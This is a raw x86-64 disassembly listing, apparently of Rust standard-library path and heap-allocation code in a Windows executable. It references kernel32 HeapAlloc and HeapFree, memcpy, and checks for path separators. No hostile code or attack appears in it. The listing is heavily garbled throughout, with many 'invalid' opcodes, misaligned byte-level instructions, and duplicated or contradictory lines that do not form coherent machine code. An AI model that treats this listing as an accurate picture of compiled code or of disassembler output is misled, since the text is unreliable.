jmp 0x14007e4d6
rol byte [rdx], 0xeb
add ch, bl
and cl, byte [rcx - 0x7d]
add r8, 4
add eax, 4
rol byte [rbx + rbp*8], 0x1c
jmp 0x14007e4d6
add r8, 6
jmp 0x14007e4d6
invalid
add r8, 8
jmp 0x14007e4d6
ror byte [rax], 0xeb
adc byte [rcx - 0x7d], cl
add r8, 0xa
invalid
add r8, 0xa
or ch, bl
jmp 0x14007e4d6
or cl, byte [rcx - 0x7d]
add r8, 0xc
jmp 0x14007e4d6
invalid
ror byte [rbx + rbp*8], 4
add al, 0x49
add eax, 0xe
invalid
add r8, 0xe
invalid
mov rcx, r8
mov ecx, eax
sub rcx, rdx
mov r8, rcx
shr r8, 1
invalid
call 0x14b01662e
cmp rcx, 0x20a
or al, byte [rdx]
add byte [rax], al
invalid
add al, byte [rax]
add byte [rdi], cl
jae 0x14007e5f3
add dword [rcx + rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
mov r8b, 0xe8
call 0x18d07e4a6
mov esp, dword [rbp - 0x50]
invalid
invalid
lea rcx, [rbp - 0x50]
call fcn.1400792e0
mov r12, qword [rbp - 0x50]
mov esp, dword [rbp - 0x50]
invalid
invalid
mov al, 0x4c
mov esi, dword [rbp - 0x40]
jne 0x14007e4c0
mov r14, qword [rbp - 0x40]
test rdi, rdi
test edi, edi
dec dword [rcx + rcx*4 + 0x65]
mov qword [rbp - 0x10], r12
invalid
je 0x14007e55c
js 0x14007e60c
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
invalid
invalid
invalid
sbb eax, 0x85480007
leave
test rcx, rcx
jne 0x14007e537
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14007e54a
mov rcx, rax
mov qword [0x1400f0220], rax
add eax, 0x71ce9
sbb al, 7
invalid
sbb al, 7
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, edi
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x14007e562
fisubr word [rbp - 0x76b6fffe]
invalid
mov ecx, 1
mov rdx, rdi
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov edx, edi
call fcn.1400a42a0
add al, byte [rax]
jmp 0x14007e611
add byte [rax], al
mov r15d, 1
mov rcx, r15
stc
mov rdx, rbx
mov edx, ebx
mov r8, rdi
mov eax, edi
clc
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rdi
sub byte [rdx], al
add byte [rcx + rcx*4 + 0x7d], cl
ror byte [rax - 0x77], 1
jge 0x14007e550
mov qword [rbp - 0x20], rdi
mov byte [rbp - 0x18], 0
call 0x18d952d83
invalid
call 0x18d952d83
ror byte [rcx + rcx*4 - 0x1e], 1
mov edx, esp
lea ecx, [rbp - 0x30]
mov rdx, r12
mov edx, esp
mov r8, r14
call fcn.14007e690
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
loopne 0x14007e5a7
adc dword [rsi + 0x10], ecx
adc byte [rdi], r9b
adc dword [rsi], eax
invalid
adc byte [rdi], r9b
adc dword [rsi], eax
invalid
cmp qword [rbp - 0x48], 0
je 0x14007e5c7
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
je 0x14007e5c6
xor edx, edx
mov r8, qword [rbp - 0x10]
invalid
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add rax, 0x236
mov rcx, rax
jmp 0x14007e4d9
add rax, 0x238
mov rcx, rax
jmp 0x14007e4d9
add byte [rax - 0x77], cl
shr ecx, 0xe6
invalid
out 0xfe, al
lea rax, str.library_std_src_syswindowsmod.rs
mov edx, 0x104
add byte [rdx + 0x104], bh
mov rcx, r8
mov r8, rax
ror dword [rcx - 0x77], 0xc0
call fcn.1400a44b0
ud2
call fcn.14003bdd0
ud2
lea rbp, [rdx + 0x70]
lea rcx, [rbp - 0x30]
shr r8b, 1
jo 0x14007e5eb
clc
call qword [rax + 0x20c48348]
shr r8b, 1
jo 0x14007e5eb
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x20
and byte [rax - 0x73], cl
push 0x70
and byte [rax - 0x73], cl
push 0x70
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x10]
call fcn.14003c270
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
add byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], 0xfffffffffffffffe
rol byte [rax], 1
add byte [rax], al
invalid
invalid
invalid
dec dword [rbp - 0x77]
invalid
mov rbx, rcx
retf
mov r15, qword [rcx]
mov r14, qword [rcx + 0x10]
test r14, r14
mov qword [rbp + 0xc0], rdx
je 0x14007e726
push rdi
rol byte [rax], 1
add byte [rax], al
invalid
retf
push rdi
mov qword [rbp + 0xb8], r13
mov r13, rbx
movzx eax, byte [r14 + r15 - 1]
cmp al, 0x2f
setne r12b
cmp al, 0x5c
setne bl
lea rcx, [rbp + 0x60]
mov rdx, r15
mov r8, r14
call fcn.140079610
movzx r9d, byte [rbp + 0x60]
movzx eax, r9b
mov r11, qword [rbp + 0x70]
mov r10, qword [rbp + 0x80]
lea rcx, [0x1400e7f74]
movsxd rdx, dword [rcx + rax*4]
adc al, 0x81
adc al, 0x81
add rdx, rcx
mov rcx, r15
jmp rdx
mov sil, 6
xor edi, edi
xor r12d, r12d
jmp case.0x140078c13.285
add byte [rax], al
inc dword [rbp + 0x31]
in al, 0xe9
push 0x49000001
add byte [rax], al
lea rcx, [r10 + 1]
add byte [rax], al
lea rcx, [r10 + 1]
add byte [rcx - 0x73], cl
add qword [rbp - 0x7b], rcx
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 8
ror byte [rcx + 0xf], cl
retf 0x14c
jmp 0x14007e767
and byte [rcx + 6], bh
jmp 0x14007e767
invalid
sbb dword [rcx - 0x73], ecx
add qword [rbp - 0x7b], rcx
ror byte [rcx + 0xf], cl
retf 0x14c
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 2
jmp 0x14007e767
add eax, 0x2b9
add byte [rcx + rdi - 0xf], cl
mov ecx, 2
cmp rcx, r14
int1
ja case.default.0x14007ec92
jne case.0x140078b44.306
xor edi, edi
jmp 0x14007e78c
add rcx, r15
movzx ecx, byte [rcx]
cmp cl, 0x5c
stc
pop rsp
sete dl
cmp cl, 0x2f
sete dil
or dil, dl
or bh, dl
or bh, dl
and r12b, bl
mov rcx, qword [rbp + 0x61]
mov ecx, dword [rbp + 0x61]
mov ecx, dword [rbp + 0x61]
invalid
invalid
mov rdx, qword [rbp + 0x68]
push rbp
push 0x7558948
mov qword [rbp + 7], rdx
mov qword [rbp + 7], rdx
mov dword [rbp + 7], edx
push rbp
invalid
mov qword [rbp], rcx
mov rsi, qword [rbp + 0x78]
mov ecx, 6
mov eax, eax
ror byte [rax - 0x73], 0x15
invalid
xchg edi, eax
invalid
invalid
ror byte [rax - 0x73], 0x15
fist word [rdi + 0x634c0006]
invalid
invalid
invalid
lea edx, [0x1400e7f90]
adc eax, 0x697df
xchg edi, eax
invalid
add byte [rbx + riz*2 + 4], cl
movsxd r8, dword [rdx + rax*4]
add al, 0x82
invalid
add r8, rdx
add eax, edx
mov qword [rbp - 0x20], r10
mov qword [rbp - 0x18], r11
mov dword [rbp - 0x18], ebx
push rbp
loopne 0x14007e809
mov dword [rbp - 0x18], ebx
mov qword [rbp - 0x10], rsi
mov dword [rbp - 0x10], esi
jmp r8
loopne 0x14007e811
lea rdx, [r11 + 4]
lea edx, [rbx + 4]
add al, 0xeb
jmp 0x14007e7f3
lea rdx, es:[r10 + 1]
lea rdx, [r10 + 1]
lea edx, [rdx + 1]
push rdx
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
invalid
test r10, r10
test edx, edx
cmove rdx, r10
cmove edx, edx
ror byte [rcx + rax - 0x26], cl
add rdx, r11
fimul dword [rax - 0x7d]
ret 0xeb02
add ch, bl
add rdx, 2
jmp 0x14007e7f3
add ch, bl
adc cl, byte [rcx - 0x73]
invalid
invalid
lea rdx, [r10 + 1]
lea edx, [rdx + 1]
push rdx
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
invalid
test r10, r10
test edx, edx
cmove rdx, r10
cmove edx, edx
ror byte [rcx + rax - 0x26], cl
ror byte [rcx + rax - 0x26], cl
add rdx, r11
fimul dword [rax - 0x7d]
add rdx, 8
ret 0x4808
or byte [rax - 0x7b], cl
ror byte [rcx + rcx*4 - 0x15], cl
mov rbx, r13
test rdx, rdx
mov rbx, r13
je 0x14007e81d
and cl, byte [rax - 0x73]
lea rdx, [0x1400e7fac]
adc eax, 0x697aa
stosb byte [rdi], al
xchg edi, eax
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rdx + rax*4]
add al, 0x82
invalid
add rax, rdx
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
add byte [rax], al
add bh, bh
invalid
add byte [rax], al
jmp rax
loopne 0x14007e85c
lea rcx, [r11 + 4]
lea ecx, [rbx + 4]
add al, 0x4c
cmp ecx, esi
int1
cmp rcx, r14
int1
je 0x14007e883
jmp case.0x1400795ae.297
and byte [rcx + rcx*4 - 0x32], al
mov esi, r9d
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0xeb000000
add bl, ch
jmp case.0x140078c13.283
imul edi, dword [rcx + 2], 0x4c
mov ebx, ebp
invalid
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
mov rbx, r13
jmp case.0x14007e810.2
mov r13, qword [rbp + 0xb8]
mov eax, 0x4c000000
cmp ecx, esi
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
je 0x14007e883
mov esi, r9d
jmp case.0x140078c13.283
invalid
mov esi, r9d
mov rbx, r13
mov ebx, ebp
mov ebx, ebp
mov r13, qword [rbp + 0xb8]
mov eax, 0xeb000000
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
jmp case.0x140078c13.283
lea rax, [r10 + 1]
lea rax, [r10 + 1]
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
test r10, r10
cmove rax, r10
invalid
invalid
ret 0x8d49
ret 0x8d49
lea rcx, [r11 + rax]
add rcx, 2
rol dword [rdx], 0x4c
cmp ecx, esi
add cl, byte [rcx + rdi - 0xf]
cmp rcx, r14
je 0x14007e883
sbb ch, bl
ror byte [rcx - 0x73], cl
lea rax, [r10 + 1]
invalid
invalid
jmp case.0x1400795ae.297
lea rax, [r10 + 1]
test r10, r10
test edx, edx
add dword [rbp - 0x7b], ecx
test edx, edx
ror byte [rcx + 0xf], cl
ret 0x8d49
ret 0x8d49
cmove rax, r10
lea rcx, [r11 + rax]
lea ecx, [rbx + rax]
ret 0x8d49
lea ecx, [rbx + rax]
or al, 3
add ecx, dword [rax - 0x7d]
ror dword [rax], 0x4c
invalid
add rcx, 8
add ecx, 8
cmp rcx, r14
cmp ecx, esi
int1
jne case.0x1400795ae.297
xor eax, eax
mov esi, r9d
mov esi, ecx
cmp r9b, 5
cmp cl, 5
stc
add eax, 0xe4b60f45
movzx r12d, r12b
movzx r12d, r12b
movzx esp, ah
cmove r12d, eax
loopne 0x14007e8dd
mov rdx, qword [rbp + 0xc0]
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x16], 1
mov rdx, r13
mov rcx, rdx
mov ecx, edx
mov rdx, r13
call fcn.1400794c0
test al, al
sbb ch, byte [rdi + rdi*8 + 0x75c084ff]
jne 0x14007e8f3
invalid
inc dword [rax + rax*8 - 0x72b78a8b]
jne case.default.0x14007e8da
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
invalid
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
mov r8, r13
mov eax, ebp
call 0x13fb53ca4
dec dword [rdi]
invalid
call fcn.140079610
movzx edx, byte [rbp + 0x60]
mov dh, 0x55
invalid
mov rcx, qword [rbp + 0x70]
mov ecx, dword [rbp + 0x70]
push rbx
lodsd eax, dword [rsi]
invalid
mov dh, 0x55
invalid
mov ecx, dword [rbp + 0x70]
mov rax, qword [rbp + 0x80]
mov eax, dword [rbp + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
in eax, dx
lea r8, [0x1400e7fc0]
lea eax, [0x1400e7fc0]
add eax, 0x696ed
xchg esi, eax
invalid
add byte [rcx + 0x63], cl
adc al, 0x90
nop
movsxd rdx, dword [r8 + rdx*4]
nop
add rdx, r8
jmp rdx
add rcx, 4
jmp 0x14007e916
invalid
rol dword [rbx + rbp*8], 0x34
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
cmove edx, eax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add rcx, rdx
add ecx, edx
add rcx, 2
jmp 0x14007e916
rol dword [rdx], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
add byte [rax], al
jmp 0x14007e916
lea rdx, [rax + 1]
test rax, rax
test eax, eax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
invalid
invalid
invalid
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
add rcx, rdx
add rcx, 8
or bl, ch
invalid
or bl, ch
add eax, 0x2b9
mov ecx, 2
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
jmp 0x1478f702c
ja 0x14007f0a6
invalid
add byte [rax - 0x39], cl
adc byte [r8], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov qword [rbx + 0x10], 0
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, qword [rbp + 0xc0]
add byte [rbp - 0x77], cl
mov r8, r13
call 0x13fea5120
call fcn.14007cba0
invalid
call qword [rax + 0x58c48148]
add dword [rax], eax
add byte [rax], al
pop rbx
pop rdi
nop
add rsp, 0x158
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
cmp sil, 3
cmp dh, 3
jae 0x14007e9cc
test r13, r13
je 0x14007ea12
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r14
mov dword [rbp - 0x58], esi
mov dword [rbp - 0x58], esi
jne 0x14007e90d
mov byte [rbp - 0x50], sil
mov rax, qword [rbp]
mov rcx, qword [rbp + 7]
invalid
mov qword [rbp - 0x4f], rax
add byte [rax - 0x75], cl
invalid
invalid
mov qword [rbp - 0x48], rcx
mov rax, qword [rbp - 0x18]
call 0x1004d72c9
mov dword [rbp - 0x40], eax
movabs r8, 0xc0458948e8458b48
mov dword [rbp - 0x40], eax
mov rax, qword [rbp - 0x10]
invalid
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x20]
loopne 0x14007e9d6
mov dword [rbp - 0x30], eax
loopne 0x14007e9d6
mov dword [rbp - 0x30], eax
mov word [rbp - 0x28], 0x200
mov byte [rbp - 0x26], dil
invalid
fadd dword [r8]
add al, byte [rax - 0x78]
jge case.0x14007d19f.127
invalid
fimul dword [rax - 0x73]
invalid
lea rcx, [rbp + 0x60]
lea rdx, [rbp - 0x60]
push rbp
movabs al, byte [0x607d80ffffb108e8]
or cl, byte [rax - 0x77]
pop rbp
clc
pop rbp
clc
jne case.0x14007d19f.146
mov qword [rbp + 0xa0], 8
movabs al, byte [0xf00000008000000]
push rdi
ror byte [rdi], 0x11
test dword [rax - 0x17000000], ebp
imul eax, dword [rcx], 0
add dword [rax], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
jmp 0x14007eb37
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
add byte [rax - 0x77], cl
mov r8, r13
call fcn.140079610
movzx eax, byte [rbp + 0x60]
invalid
invalid
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x80]
add byte [rax], 0
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xe0
xchg ebp, eax
invalid
add byte [rdi + 0x63], cl
adc al, 0x81
invalid
add byte [rax], 0
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xe0
xchg ebp, eax
invalid
add r10, r9
mov r8, r13
jmp r10
add al, 0xe9
pushfq
add dword [rax], eax
add byte [rcx], dh
sal byte [rcx], 0xc9
xor ecx, ecx
xor eax, eax
xor ecx, ecx
jmp case.0x14007a1a1.245
mov rsi, r13
mov esi, ebp
movzx eax, byte [0x1400f02c0]
mov ecx, 0xe0
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14007f0cf
mov r14, rax
mov esi, eax
mov rax, qword [rbp + 0x90]
mov qword [r14 + 0x30], rax
movups xmm0, xmmword [rbp + 0x60]
add byte [rax], al
add byte [rcx - 0x77], cl
xor byte [rdi], r9b
adc byte [rbp + 0x60], al
movups xmm1, xmmword [rbp + 0x70]
movups xmm2, xmmword [rbp + 0x80]
add byte [rax], 0
add byte [rcx + 0xf], al
adc dword [rsi + 0x20], edx
jo 0x14007ea63
add byte [rax], 0
add byte [rcx + 0xf], al
adc dword [rsi + 0x20], edx
movups xmmword [r14 + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
movups xmmword [r14], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 4
mov dword [rbp + 0x18], 4
mov dword [rbp + 0x18], 4
mov qword [rbp + 0x20], 1
movups xmm0, xmmword [rbp - 0x60]
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
movups xmm3, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x90], xmm3
movaps xmmword [rbp + 0x80], xmm2
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
invalid
lea rcx, [rbp + 0x28]
lea rdx, [rbp + 0x60]
call fcn.140079ab0
cmp byte [rbp + 0x28], 0xa
je 0x14007eb1e
invalid
mov r15d, 1
lea rdi, [rbp + 0x10]
lea r13, [rbp + 0x28]
lea r12, [rbp + 0x60]
cmp r15, qword [rbp + 0x18]
jne 0x14007eadc
mov rcx, rdi
mov rdx, r15
call fcn.14007f1d0
mov r14, qword [rbp + 0x10]
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x58]
mov qword [r14 + rax + 0x30], rcx
mov dword [rsi + rax + 0x30], ecx
xor byte [rdi], cl
adc byte [rbp + 0x28], al
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmm2, xmmword [rbp + 0x48]
cmp byte [rdi], cl
adc byte [rbp + 0x48], dl
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
and byte [rcx + 0xf], al
adc dword [rsi + rax + 0x10], ecx
invalid
movups xmmword [rsi + rax + 0x10], xmm1
adc byte [rcx + 0xf], al
movups xmmword [r14 + rax], xmm0
adc dword [rsi + rax], eax
inc r15
mov qword [rbp + 0x20], r15
mov dword [rbp + 0x20], edi
mov rcx, r13
mov rdx, r12
invalid
call fcn.140079ab0
cmp byte [rbp + 0x28], 0xa
jne case.default.0x14007eb6e
cwde
scasd eax, dword [rdi]
invalid
inc dword [rax + 0x750a287d]
test eax, 0x1045100f
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
mov rax, qword [rbp + 0x20]
and byte [rax - 0x77], cl
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
movabs al, byte [0x4820458b48000000]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x77], r9b
and byte [rax - 0x77], cl
invalid
invalid
mov dword [rbp + 0xb0], eax
test dword [rax + 0x49000000], esi
mov ebp, esi
add byte [rax], al
mov r13, rsi
mov byte [rbp + 0xcf], 1
test edi, ecx
add byte [rax], al
add byte [rcx], al
iretd
lea rcx, [rbp + 0x28]
mov rsi, qword [rbp + 0xc0]
mov rdx, rsi
mov edx, esi
mov r8, r13
mov r8, r13
call 0x13fb2a83b
dec dword [rdi]
call fcn.140079610
movzx edx, byte [rbp + 0x28]
mov dh, 0x55
invalid
mov esp, 0xfffffaa
mov dh, 0x55
sub byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov eax, dword [rbp + 0x48]
cmp byte [r8 - 0x75], r9b
mov eax, dword [rbp + 0x48]
lea r8, [0x1400e7ff8]
lea r8, [0x1400e7ff8]
lea eax, [0x1400e7ff8]
invalid
movsxd r9, dword [r8 + rdx*4]
add r9, r8
add ecx, eax
jmp r9
add rcx, 4
add ecx, 4
add al, 0xe9
jmp 0x14007ed18
sahf
add dword [rax], eax
invalid
add byte [rax], al
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
add byte [rbp + rcx*4 + 0x42], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
add rcx, 8
add ecx, 8
jmp 0x14007ebae
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x14007ebae
sbb dword [rbp + rcx*4 + 0x42], ecx
add dword [rax - 0x7b], ecx
test edx, edx
cmove r8, rdx
invalid
invalid
test rdx, rdx
test edx, edx
cmove r8, rdx
add rcx, r8
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
add eax, 0x2b9
add byte [rbp - 0x77], cl
mov eax, ebp
sub r8, rcx
invalid
add al, byte [rax]
add byte [rax], al
mov r8, r13
mov eax, ebp
sub r8, rcx
sub eax, ecx
enter 0xffffffffffff820f, 0xffffffffffffffec
add al, 0
add byte [rax + 3], cl
invalid
jb 0x14007f0a6
invalid
add rcx, qword [rbp + 0xc0]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov esi, ecx
invalid
test r8, r8
je 0x14007ebdc
invalid
adc ecx, dword [rdi]
movzx ecx, byte [rsi]
mov dh, 0xe
invalid
cmp cl, 0x5c
sete dl
invalid
cmp cl, 0x2f
sete cl
invalid
or cl, dl
jmp 0x14007ebde
xor ecx, ecx
leave
cmp al, 5
setb al
invalid
add eax, 0x84c0920f
sal byte [rbp + 0x27], 0x84
jne 0x14007ec0e
invalid
test cl, cl
test al, al
jne 0x14007ec0e
invalid
invalid
test cl, cl
jne 0x14007ec0e
and eax, dword [rbp - 0x7c]
test ah, ah
je 0x14007e927
invalid
invalid
in al, 0xf
test byte [rbx], dh
std
invalid
dec dword [rax - 0x73]
lea rdx, [0x1400e0e8a]
adc eax, 0x6228f
and al, byte [rsi]
add byte [rcx - 0x48], al
mov r8d, 1
mov r8d, 1
mov eax, 1
mov rcx, rbx
mov ecx, ebx
call fcn.14007cba0
jmp 0x14007e927
sbb ebp, edi
invalid
invalid
lea rcx, [rbp + 0x60]
mov rdx, r15
mov r8, r14
mov eax, esi
invalid
mov eax, esi
invalid
call fcn.140079610
test eax, 0xf44ffff
test eax, 0xf44ffff
movzx r8d, byte [rbp + 0x60]
mov rax, qword [rbp + 0x70]
mov dh, 0x45
invalid
mov rdx, qword [rbp + 0x80]
xchg ebp, eax
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x6940c
or al, 0x94
invalid
invalid
lea rcx, [0x1400e8040]
lea ecx, [0x1400e8040]
or al, 0x94
xchg esp, eax
invalid
movsxd r9, dword [rcx + r8*4]
add r9, rcx
leave
leave
jmp r9
add al, 0xeb
add al, 0xeb
xor al, 0x48
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
ror byte [rax + 0xf], cl
retf 0x148
retf 0x148
invalid
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
retf 0x148
retf 0x148
retf 0x148
add rcx, 2
jmp case.0x14007ec3b.7
add ch, bl
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
jmp case.0x14007ec3b.7
lea ecx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
invalid
retf 0x148
add rcx, rax
add rcx, 8
jmp case.0x14007ec3b.7
cmp rcx, r14
ja case.default.0x14007ec92
xchg dword [rsp + rax], edx
add byte [rax], al
xchg dword [rsp + rax], edx
add byte [rax], al
add al, 0
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, eax
mov ecx, r8d
mov ecx, eax
lea r8, [0x1400e805c]
lea eax, [0x1400e805c]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
add ecx, eax
add ecx, eax
jmp rcx
add rax, 4
add al, 0xeb
jmp 0x14007ecd2
cmp byte [rcx], dh
shr bl, 0x3d
invalid
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
invalid
enter 0xffffffffffff8348, 0xffffffffffffffc0
add ch, bl
jmp 0x14007ecd2
and byte [rax + 6], bh
mov eax, 6
add rax, 2
jmp 0x14007ecd2
invalid
mov eax, 6
invalid
jmp 0x14007ecd2
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
add eax, 8
jmp 0x14007ecd2
add eax, 0x2b8
add byte [rcx + 0x39], cl
invalid
mov eax, 2
cmp r14, rax
jb 0x14007e927
mov qword [rbx + 0x10], rax
jmp 0x14007e927
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14007ed18
mov ecx, 6
jmp 0x14007ed18
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007ed18
mov ecx, 2
cmp rcx, r13
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007ed18
mov ecx, 2
cmp rcx, r13
mov rax, qword [rbp + 0xc0]
ja 0x14007f0b7
jne 0x14007ed2e
xor eax, eax
jmp 0x14007ed43
add rcx, rax
mov rsi, rcx
movzx eax, byte [rsi]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
mov rcx, qword [rbp + 0x48]
mov qword [rbp + 0x90], rcx
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x70], xmm0
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], r13
mov word [rbp + 0x98], 0x200
mov byte [rbp + 0x9a], al
add byte [rax - 0x73], cl
jne 0x14007edac
lea rdi, [rbp + 0x28]
lea rbx, [rbp + 0x60]
xor r15d, r15d
add byte [rax - 0x73], cl
jne 0x14007edac
lea r14, [rbp + 0xa0]
jmp 0x14007edd5
mov rdx, qword [rbp + 0xb0]
imul rax, rdx, 0x38
add rax, qword [rbp + 0xa0]
add byte [rax], al
add byte [rax + rcx*4 + 0x20], al
add byte [rax], al
add byte [rax + rcx*4 + 0x20], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rax + 1], xmm0
adc dword [rax + 1], eax
adc dword [rax + 1], eax
movups xmmword [rax + 0x11], xmm1
movups xmmword [rax + 0x21], xmm2
mov rcx, qword [rsi + 0x2f]
mov qword [rax + 0x30], rcx
inc rdx
mov qword [rbp + 0xb0], rdx
mov byte [rbp + 0xcf], 1
mov rcx, rdi
mov rdx, rbx
call fcn.140079ab0
invalid
inc dword [rdi + rcx - 0x4a]
sub byte gs:[rcx - 0x80], al
cld
or cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
invalid
cli
movzx ecx, al
lea rax, [rcx + 1]
cmp cl, 4
cmovae rax, r15
cmp rax, 1
je 0x14007ee3b
mov byte [rbp + 0xcf], 1
mov rcx, r14
call fcn.14007f1d0
jmp case.0x14007d19f.136
mov ecx, esi
call fcn.14007f1d0
jmp case.0x14007d19f.136
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], esi
test eax, eax
je 0x14007f044
imul rsi, rax, 0x38
mov rbx, qword [rbp + 0xc0]
add rsi, rbx
lea r12, [rbp + 0x61]
lea rdi, [0x1400e8014]
xor eax, eax
jmp 0x14007ef03
xor eax, eax
add rbx, 0x38
cmp rbx, rsi
je 0x14007f044
movzx r13d, byte [rbx]
cmp r13d, 0xa
je 0x14007f044
add byte [rax], al
mov byte [rbp + 0x60], r13b
mov byte [rbp + 0x60], ch
mov rcx, qword [rbx + 0x30]
mov qword [r12 + 0x2f], rcx
movups xmm0, xmmword [rbx + 1]
